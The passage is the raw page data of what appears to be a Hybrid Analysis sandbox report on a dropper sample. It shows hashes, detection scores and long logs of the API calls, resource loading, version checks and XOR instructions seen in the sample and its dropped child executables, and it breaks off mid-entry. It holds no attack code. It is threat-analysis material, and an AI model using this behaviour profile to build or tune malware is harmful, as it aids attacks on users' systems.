26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 7c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4bb,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Dropper/Generic.X2198 Sample 50b0915a8995… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 50b0915a8995…. Malware family: Dropper/Generic.X2198. Threat score 100/100. 5/28 AV engines flagged this file. 14 malicious and 28 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/50b0915a89953b0d9b31ab6238903eae3c4def950b699d0b3f60780902a525a0","keywords":["Malicious","Dropper/Generic.X2198","malware analysis","sandbox report","threat intelligence","50b0915a89953b0d9b31ab6238903eae3c4def950b699d0b3f60780902a525a0"],"about":{"@type":"SoftwareApplication","name":"e410310c63297392eb3ce82844bfe3e7.exe","applicationCategory":["peexe","executable"],"identifier":"50b0915a89953b0d9b31ab6238903eae3c4def950b699d0b3f60780902a525a0","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Dropper/Generic.X2198","antivirusDetections":{"malicious":5,"total":28},"behavioralIndicators":{"malicious":14,"suspicious":28},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T5e0,"e410310c63297392eb3ce82844bfe3e7.exe" called "FindResourceA" with parameter "15209080" - (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindResourceA" with parameter "15209088" - (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindResourceA" with parameter "15209116" - (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindResourceA" with parameter "15209328" - (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindResourceA" with parameter "15209144" - (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindResourceA" with parameter "15209300" - (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindResourceA" with parameter "15209312" - (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindResourceA" with parameter "3536772" - (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindResourceA" with parameter "15209196" - (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindResourceA" with parameter "15209292" - (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindResourceA" with parameter "3536768" - (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindResourceA" with parameter "15209160" - (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "FindResourceA" with parameter "15209168" - (UID: 00000000-00008168)28:Tb85,"e410310c63297392eb3ce82844bfe3e7.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15255680'}" (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15255536'}" (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15255696'}" (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15255584'}" (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15255552'}" (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15255600'}" (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15255648'}" (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15255520'}" (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15255632'}" (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15255664'}" (UID: 00000000-00008168) "Uj4GY78.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034368'}" (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034224'}" (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034384'}" (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034272'}" (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034240'}" (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034288'}" (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034336'}" (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034208'}" (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034320'}" (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '1034352'}" (UID: 00000000-00003812) "wn3FW36.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8636544'}" (UID: 00000000-00003484) "wn3FW36.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8636400'}" (UID: 00000000-00003484) "wn3FW36.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8636560'}" (UID: 00000000-00003484)29:T498,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")2a:T434,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "e410310c63297392eb3ce82844bfe3e7.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "e410310c63297392eb3ce82844bfe3e7.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")2b:T663,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "6NB6dz2.exe.1433957273") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")2c:T1085,Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")2d:T147e,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-66-000F2630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-66-000F2630 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-62-000F55A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-62-000F55A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-77-000F2773 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-77-000F2773 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-63-000F5467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-63-000F5467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-41-000F6495 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-41-000F6495 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-33-000F2F1D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-33-000F2F1D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-60-000F597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-60-000F597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-78-000F5C9E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-78-000F5C9E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-44-000F2AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-44-000F2AAC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-74-000F36EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-74-000F36EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-40-000F2267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-40-000F2267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-52-000F4EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-52-000F4EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-37-000F3FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-37-000F3FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-43-000F1AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-43-000F1AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-57-000F6298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-57-000F6298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-22-000F681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-22-000F681F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-15-000F1F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-15-000F1F90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-73-000F17EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-73-000F17EE Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00003812-38995-36-000F3BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00003812-38995-36-000F3BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-29-000F52B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-29-000F52B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-71-000F2CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-71-000F2CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-42-000F202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00003812-38995-42-000F202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-42-000F202A Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00003812-38995-31-000F2390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00003812-38995-31-000F2390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003812-38995-59-000F621E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003812-38995-59-000F621E Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00003812-38995-83-000F7155 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00003812-38995-83-000F7155 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00003812-38995-83-000F7155 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00003812-38995-83-000F7155 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00003812-38995-83-000F71552e:Tefa,"e410310c63297392eb3ce82844bfe3e7.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008168) "Uj4GY78.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003812) "Uj4GY78.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003812) "wn3FW36.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003484) "wn3FW36.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003484)2f:T47c,"e410310c63297392eb3ce82844bfe3e7.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f635005c7bfe71409a62000000000038f63500b444fe71409a620090f635006525fe71409a6200010000003bfa5799000000007072e83b000000000300000044f735000a000000941f000088f73500c0f635005d0000000300000048f6350050f6350058f93500e056fe71eb1c62ebfeffffff98f7350047f2fc717072e83b (UID: 00000000-00008168) "Uj4GY78.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f6e3005c7bfe71c0b9f2020000000020f6e300b444fe71c0b9f20278f6e3006525fe71c0b9f2020100000020867b2a000000004624e22b00000000030000002cf7e3000a0000005c1d000070f7e300a8f6e300590000000300000030f6e30038f6e30040f9e300e056fe7118609858feffffff80f7e30047f2fc714624e22b (UID: 00000000-00003812) "wn3FW36.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007bfe7160acc7020000000090f78f00b444fe7160acc702e8f78f006525fe7160acc702010000002685f0fd00000000f1e4792e00000000030000009cf88f000a0000000c090000e0f88f0018f88f005b00000003000000a0f78f00a8f78f00b4fa8f00e056fe718e627f8ffefffffff4f88f0047f2fc71f1e4792e00000000 (UID: 00000000-00003484)30:T470,Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")31:T755,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; File: "7is1Ar50.exe.1610895698") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "1300189699,7516,3024,,RtlGetVersion,NTDLL.dll,"00:17:51.187",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")32:Ta43,"e410310c63297392eb3ce82844bfe3e7.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00008168) "Uj4GY78.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00003812) "Uj4GY78.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003812) "wn3FW36.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003484) "wn3FW36.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003484) "wn3FW36.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003484) "wn3FW36.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003484) "wn3FW36.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003484) "wn3FW36.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00003484) "wn3FW36.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003484) "3KS02RZ.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006972) "3KS02RZ.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006972) "3KS02RZ.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006972) "3KS02RZ.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006972)33:T49cf,"e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called 